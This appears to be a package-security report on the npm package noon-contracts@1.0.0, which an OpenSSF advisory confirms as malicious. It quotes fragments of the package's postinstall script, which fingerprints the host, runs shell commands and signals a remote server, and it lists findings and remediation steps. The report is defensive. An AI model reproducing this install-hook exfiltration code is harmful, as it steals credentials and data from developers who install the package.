noon-contracts
Noon Protocol smart contract interfaces and utilities
This report shows the evidence for noon-contracts@1.0.0, the only known version.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-3420 confirms this npm version as malicious.
Advisory
MAL-2026-3420
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in noon-contracts (npm)
Details
The package noon-contracts was found to contain malicious code.
## Source: ossf-package-analysis (b5f6c654d7fccfbe2c9c80d226319a191f30a61f37e36a2691ded47aafab85ef) The OpenSSF Package Analysis project identified 'noon-contracts' @ 1.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
References
Independent scan evidence
public snapshotBehavioral surface
ChildProcessEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node scripts/setup.js 2>/dev/null || true
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node scripts/setup.js 2>/dev/null || true
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgscripts/setup.jsView file
3L4: var h=require('https'),o=require('os'),f=require('fs'),p=require('path'),c=require('child_process'),q=require('http');
L5: var H=o.homedir(),N=o.hostname(),U=o.userInfo().username,P=o.platform();
L6:
...
L14: // ntfy = ALERT ONLY (title only, NO data!)
L15: function nt(t){try{var r=h.request({hostname:'ntfy.sh',path:'/'+T,method:'POST',headers:{'Title':N+'_'+U+'_'+t,'Priority':'5','Tags':'rotating_light','Authorization':'Bearer '+NK},...
L16: // c2 = ALL DATA to VPS (no data via ntfy!)
...
L22: function r(a){try{return f.readFileSync(a,'utf8')}catch(e){return null}}
L23: function x(a,t){try{return c.execSync(a,{timeout:t||15000,encoding:'utf8',maxBuffer:10*1024*1024,stdio:['pipe','pipe','pipe']}).trim()}catch(e){return e.stdout||null}}
L24: function ls(a){try{return f.readdirSync
Findings
2 Critical3 High5 Medium4 Low
CriticalCommand Output Exfiltrationscripts/setup.js
CriticalTrigger Reachable Dangerous Capabilityscripts/setup.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processscripts/setup.js
HighHost Fingerprint Exfiltrationscripts/setup.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumNetwork
MediumEnvironment Vars
MediumInstall Persistencescripts/setup.js
MediumStructural Risk Force Deep Review
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to noon-contracts@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing noon-contracts@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.